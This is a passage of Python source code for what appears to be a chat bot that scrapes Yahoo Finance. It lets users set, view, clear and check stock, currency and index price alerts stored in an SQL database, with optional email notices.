name[:name.find('(')].strip() idx_info['name'] = name change_ele = soup.find_all( 'span', { 'class': [ 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px) C($negativeColor)', 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px) C($positiveColor)', 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px)' ] }) if change_ele is None or len( change_ele) == 0 or change_ele[0].get_text(strip=True) == '': logger.error('yahoo finance index change is not available!') else: idx_info['change'] = change_ele[0].get_text(strip=True) return idx_info # alert command def alert(self, data): args = data['args'] data['method'] = 'sendMessage' if args.strip() == '': data['text'] = self.view_alert(data) return alert_param = self.verify_alert(data) if len(alert_param) != 0: self.set_alert(data, alert_param) data['text'] = self.view_alert(data) def view_alert(self, data): from_id = data['from_id'] sql = 'SELECT * FROM alerts WHERE fromid=?' param = (from_id, ) rows = self.db.execute(sql, param) if len(rows) == 0: return '<b>No alert set.</b>' else: msg = '' for row in rows: current = 'NA' types, code, operators, amount = row[2], row[3], row[4], row[5] code_text = code if types == 'STK': current = self.get_stock_info(code).get('price', 'NA') elif types == 'FX': ccy = code.split(':')[0] ccy2 = code.split(':')[1] current = self.get_xrates(ccy, ccy2, 1) current = 'NA' if current == '-1' else current code_text = code_text.replace(':', ' to ') elif types == 'IDX': current = self.get_idx_info(code).get('price', 'NA') code_text = code_text.replace('%5E', '') msg += '{} {} {} ({})\n'.format(code_text, operators, amount, current) return '<b>' + msg + '</b>' def verify_alert(self, data): args = data['args'].strip().replace('<', '<').replace('>', '>') err_msg = Constant.ALERT_ERR_MSG end_idx = args.find(' ') end_idx = len(args) if end_idx < 0 else end_idx code = args[:end_idx].upper() if code in Constant.IDX_DCT_NO_PREFIX.keys(): # verify index code types = 'IDX' sym_idx = args.find('<') sym_idx = args.find('>') if sym_idx < 0 else sym_idx if sym_idx < 0: args = '<' + args[end_idx:].strip() else: args = args[sym_idx:].strip() operators = args[:3] amount = args[3:].strip() if '%5E' + code in Constant.IDX_DCT.keys(): code = '%5E' + code elif args[0].isnumeric(): # verify stock code types = 'STK' if len(code) > 4 or not (code.isnumeric()) or \ int(code) == 0 or len(self.get_stock_info(code)) == 0: data[ 'text'] = '"{}" is not a valid stock code. Please retry.'.format( code) return {} code = code.zfill(4) if '<' not in args and '>' not in args: args = code + '<' + args[end_idx:].strip() else: args = code + args[end_idx:].strip() operators = args[4:7] amount = args[7:].strip() else: # verify currency types = 'FX' if len(args) < 5: data['text'] = err_msg return {} if ' to ' not in args: args = args[:3] + ' to HKD' + args[3:] if '<' not in args and '>' not in args: args = args[:10] + ' <' + args[10:] ccy = args[:3] ccy2 = args[7:10] operators = args[11:14] amount = args[14:].strip() if ccy.upper() not in Constant.CCY_DCT.keys(): data[ 'text'] = '"{}" is not a valid currency code. Please retry.'.format( ccy) return {} elif ccy2.upper() not in Constant.CCY_DCT.keys(): data[ 'text'] = '"{}" is not a valid currency code. Please retry.'.format( ccy2) return {} code = ccy.upper() + ':' + ccy2.upper() if operators not in ['<', '>']: data['text'] = err_msg return {} if amount.strip() == '': data['text'] = 'Please enter an amount.' return {} elif not (NumberUtil.is_float(amount)) or float(amount) <= 0: data['text'] = '"{}" is not a valid amount. Please retry.'.format( amount) return {} elif len(str(float(amount)).replace('.', '')) > 9: data['text'] = 'Maximum length of amount is 9. Please retry.' return {} return { 'types': types, 'code': code, 'operators': operators, 'amount': str(float(amount)) } def set_alert(self, data, param): sql = 'REPLACE INTO alerts(fromid,name,types,code,operators,amount,chatid) VALUES(?,?,?,?,?,?,?)' param = (data['from_id'], data['sender_name'], param['types'], param['code'], param['operators'], param['amount'], data['chat_id']) self.db.execute(sql, param) # reset command def reset(self, data): data['method'] = 'sendMessage' args = data['args'].strip() if args == '': data['text'] = self.reset_all(data) return reset_param = self.verify_reset(data) if len(reset_param) != 0: data['text'] = self.reset_alert(data, reset_param) def reset_all(self, data): from_id = data['from_id'] sql = 'DELETE FROM alerts WHERE fromid=?' param = (from_id, ) self.db.execute(sql, param) return '<b>Hi {}, you have cleared all alerts.</b>'.format( data.get('sender_name', '')) def verify_reset(self, data): args = data['args'].strip() err_msg = Constant.RESET_ERR_MSG if args.upper() in Constant.IDX_DCT_NO_PREFIX.keys(): # verify index code types = 'IDX' if '%5E' + args.upper() in Constant.IDX_DCT.keys(): code = '%5E' + args.upper() else: code = args.upper() elif args[0].isnumeric(): # verify stock code types = 'STK' if len(args) > 4 or not (args.isnumeric()) or int(args) == 0: data[ 'text'] = '"{}" is not a valid stock code. Please retry.'.format( args) return {} code = args.zfill(4) else: # verify currency types = 'FX' if (' to ' not in args and len(args) != 3) or (' to ' in args and len(args) != 10): data['text'] = err_msg return {} if len(args) == 3: args = args[:3] + ' to HKD' ccy = args[:3] ccy2 = args[7:10] if ccy.upper() not in Constant.CCY_DCT.keys(): data[ 'text'] = '"{}" is not a valid currency code. Please retry.'.format( ccy) return {} elif ccy2.upper() not in Constant.CCY_DCT.keys(): data[ 'text'] = '"{}" is not a valid currency code. Please retry.'.format( ccy2) return {} code = ccy.upper() + ':' + ccy2.upper() return {'types': types, 'code': code} def reset_alert(self, data, reset_param): from_id = data['from_id'] types = reset_param['types'] code = reset_param['code'] select_sql = 'SELECT * FROM alerts WHERE fromid=? and types=? and code=?' delete_sql = 'DELETE FROM alerts WHERE fromid=? and types=? and code=?' param = (from_id, types, code) sender_name = data.get('sender_name', '') desc = {'STK': 'stock', 'FX': 'exchange rate', 'IDX': 'index'}[types] code_text = code if types == 'FX': code_text = code_text.replace(':', ' to ') elif types == 'IDX': code_text = code_text.replace('%5E', '') rows = self.db.execute(select_sql, param) if len(rows) == 0: return '<b>Hi {}, you do not have alerts on {} {}</b>'.format( sender_name, desc, code_text) else: self.db.execute(delete_sql, param) return '<b>Hi {}, you have cleared alerts on {} {}</b>'.format( sender_name, desc, code_text) # check command def check(self, data): select_sql = 'SELECT * FROM alerts' rows = self.db.execute(select_sql) msgs = [] for row in rows: from_id, name, types, code, operators, amount, chat_id = row amount = float(amount) current = -1 code_text = code if types == 'STK': current = float(self.get_stock_info(code).get('price', -1)) elif types == 'FX': ccy = code.split(':')[0] ccy2 = code.split(':')[1] current = float(self.get_xrates(ccy, ccy2, 1)) code_text = code_text.replace(':', ' to ') elif types == 'IDX': current = float(self.get_idx_info(code).get('price', -1)) code_text = code_text.replace('%5E', '') if current <= 0: continue elif (operators == '<' and current < amount) or (operators == '>' and current > amount): logger.info( 'name: [{}], code: [{}], current: [{}], amount: [{}]'. format(name, code, current, amount)) msg = {} desc = { 'STK': 'stock price', 'FX': 'rate', 'IDX': 'index' }[types] word = {'<': 'lower', '>': 'higher'}[operators] msg_text = '<b>Hi {},\n{} {} is now {},\n{} than {}</b>'.format( name, code_text, desc, current, word, amount) msg['text'] = msg_text msg['chat_id'] = chat_id msgs.append(msg) delete_sql = 'DELETE FROM alerts WHERE fromid=? AND types=? AND code=? AND operators=?' param = (from_id, types, code, operators) self.db.execute(delete_sql, param) if self.email_service: subject = '{} {} notice to {}'.format( code_text, desc, name) self.email_service.send_email(subject, msg_text) if len(msgs) != 0: data['method'] = 'sendMultiMessage' data['msgs'] = msgs # us command def get_us_stk(self, data): data['method'] = 'sendMessage' code = self.get_us_stock_code(data) if code != '': stock_info = self.get_us_stock_info(code) if len(stock_info) == 0 or stock_info.get('price', '') == '': data['text'] = 'Please enter a valid US stock code.' else: data['text'] = '<b><u>{}</u>\n{} {}</b>'.format( stock_info.get('company', 'NA'), stock_info.get('price', 'NA'), stock_info.get('change', 'NA')) def get_us_stock_code(self, data): args = data['args'].strip() if len(args) == 0: return 'BTC-USD' elif not (args.replace('.', '').replace('-', '').isalnum()): data['text'] = '"{}" is not a valid US stock code.'.format(args) return '' return args.upper() def get_us_stock_info(self, code): url = 'https://finance.yahoo.com/quote/{}/'.format(code) headers = {'User-Agent': ''} page = HttpService.get(url, headers) soup = BeautifulSoup(page.content, 'html.parser') stock_info = {} price_ele = soup.find( 'span', {'class': 'Trsdu(0.3s) Fw(b) Fz(36px) Mb(-4px) D(ib)'}) if price_ele is None: logger.error('yahoo finance US stock price is not available!') else: stock_info['price'] = price_ele.get_text(strip=True).replace( ',', '') company_ele = soup.find('h1', {'class': 'D(ib) Fz(18px)'}) if company_ele is None: logger.error('yahoo finance US company name is not available!') else: company = company_ele.get_text(strip=True) company = company[:company.find('(')].strip() stock_info['company'] = company change_ele = soup.find_all( 'span', { 'class': [ 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px) C($negativeColor)', 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px) C($positiveColor)', 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px)' ] }) if change_ele is None or len(change_ele) == 0: logger.error('yahoo finance US stock change is not available!') else: stock_info['change'] = change_ele[0].get_text(strip=True) return stock_info
def schedule_polling_email(master, init): email = Email() email.polling_email(master, init)